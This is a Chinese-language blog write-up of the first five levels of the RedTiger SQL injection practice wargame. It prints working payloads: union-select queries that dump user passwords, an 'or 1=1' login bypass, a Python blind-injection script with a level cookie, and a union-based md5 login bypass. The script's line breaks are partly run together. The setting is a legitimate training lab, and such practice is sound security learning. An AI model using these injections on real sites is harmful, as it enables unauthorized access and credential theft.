Redtiger SQL注入练习(一)
感觉会的东西太少了,以后要多练习,多写博客。要坚持学习,一定不能放弃,为梦想奋斗。
redtiger 这个平台早就开始做了,但是才做到第4关。。。。
第一关:
打开题,
先随便试,后来发现点击 Category 后的1 可以注入,
然后就是注入了,构造cat=1'' 还报错,估计是数字型注入,然后构造cat=1 order by 1猜列数,得出是4个。
cat=1 union select 1,2,3,4 发现回显3,4。
我用information_schema这个库,但是不行,仔细看页面发现已经给了表名,学网安也需要视力啊。
直接cat=1 union select 1,2,password,4 from level1_users
用户名也给出了,然后就登录进入第二关吧!
第二关:
看题想到万能密码,我试了很多次都登不上,看了别人的操作,感觉我输入的和他一样啊,咋就进不去了。。。。
直接粘贴复制的万能密码登录。
username=admin' or '1'='1 password='or 1=1#
第三关:
我在这关采坑时间最长,翻遍了所有人的writeup,就是不行。。。后来才知道问题所在。
提示是,报错注入。点击TheCow ,看到url明显经过加密,函数报错。。。也不知道怎么加密,就试了数组 usr[]=.......
进入这个文件,发现加密解密函数
然后构造 注入语句 加密就可以了。(不知道是php版本不同还是linux和windows不同导致的随机数不同,加密的结果也不同,我就踩了这个坑。)
这个网址有详细注入过程:https://www.jianshu.com/p/84d543cff8c0
第四关:
进入第四关,发现注入只会回显0或1,应该是布尔盲注。
猜一下keyword长度,id=1 and length(keyword)= 得出21.
构造url语句 id=1 and ascii(substr((keyword,1,1)))=
盲注脚本:
import string
from re import *
from urllib.request import * answer=""
char=string.printable
login ={'Cookie':'level4login=there_is_no_bug'}
url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}" for q in range(1,22):
for i in range(1,127):
test=(url .format(q,i))
request=Request(test,None,headers=login)
res=urlopen(request)
s=res.read().decode()
if(findall("Query returned 1 rows.",s)):
print("{0} ".format(q)+i)
answer+=i
break print(answer)
跑出答案,进入第五关。
第五关:
看提示,过滤了几个函数,而且不是盲注,bapass 登录,密码是md5加密。
先随便输一个账号密码,返回 user not found。
然后构造一个:
返回,login failed。可见 username已经绕过。然后order by查询,发现不可以。直接union select 试吧。
得出字段是2。
构造:username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#
password=2
过关。。。。
(后5关再写另一篇)
Redtiger SQL注入练习(一)的更多相关文章
- Redtiger SQL注入练习(二)
第六关: 点击 click me,构造url:user=1',返回user not found.user=1'',同样. 猜测是数字型注入,构造order by , user=1 order by ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
随机推荐
- 微服务浪潮中,程序猿如何让自己 Be Cloud Native
前言 CNCF 与 Cloud Native 这两个技术词汇最近频频走进了程序员的视野,一切和他能搭上边的软件意味着标准.开放.时尚,也更能俘获技术哥哥们的心:这篇文章不想去带大家重温这个词汇后面的软 ...
- 打造自己的.NET Core项目模板
前言 每个人都有自己习惯的项目结构,有人的喜欢在项目里面建解决方案文件夹:有的人喜欢传统的三层命名:有的人喜欢单一,简单的项目一个csproj就搞定.. 反正就是萝卜青菜,各有所爱. 可能不同的公司对 ...
- django中url路由配置及渲染方式
今天我们学习如何配置url.如何传参.如何命名.以及渲染的方式,内容大致有以下几个方面. 创建视图函数并访问 创建app django中url规则 捕获参数 路径转换器 正则表达式 额外参数 渲染方式 ...
- KVO原理解析
KVO在我们项目开发中,经常被用到,但很少会被人关注,但如果面试一些大公司,针对KVO的面试题可能如下: 知道KVO嘛,底层是怎么实现的? 如何动态的生成一个类? 今天我们围绕上面几个问题,我们先看K ...
- Linux万能快捷键与命令
tab键:补全命令 \ :命令折行写 Ctrl+C :结束命令 --help :查看命令详细信息 man :类似于help 比help更加详细. sudo :临时以管理员权限执行命令. 还有吗?
- mysql 随机数 rand使用
生成随机数 生成0-3的随机数 SELECT RAND() * 最大不会超过3, SELECT FLOOR(RAND() * ) 上面生成整数的值是0,1,2,3生成的随机整数是1,2,3的话,语句如 ...
- 纯CSS修改checkbox复选框样式-02
我有用过这个纯修改input属性的 本人修改后的代码和效果图(修的不好), 这个是改动最简单的: css代码 input[type=checkbox]{ visibility: hidden; } i ...
- 纯CSS修改checkbox复选框样式
借鉴网友博客, 改用后整理收录 效果图: 移入: <!DOCTYPE html> <html> <head> <meta charset="UTF- ...
- 网络最大流算法—EK算法
前言 EK算法是求网络最大流的最基础的算法,也是比较好理解的一种算法,利用它可以解决绝大多数最大流问题. 但是受到时间复杂度的限制,这种算法常常有TLE的风险 思想 还记得我们在介绍最大流的时候提到的 ...
- python地理处理包——pySAL使用
Pysal是基于Python的开源地理处理库,能提供高层次的空间分析功能.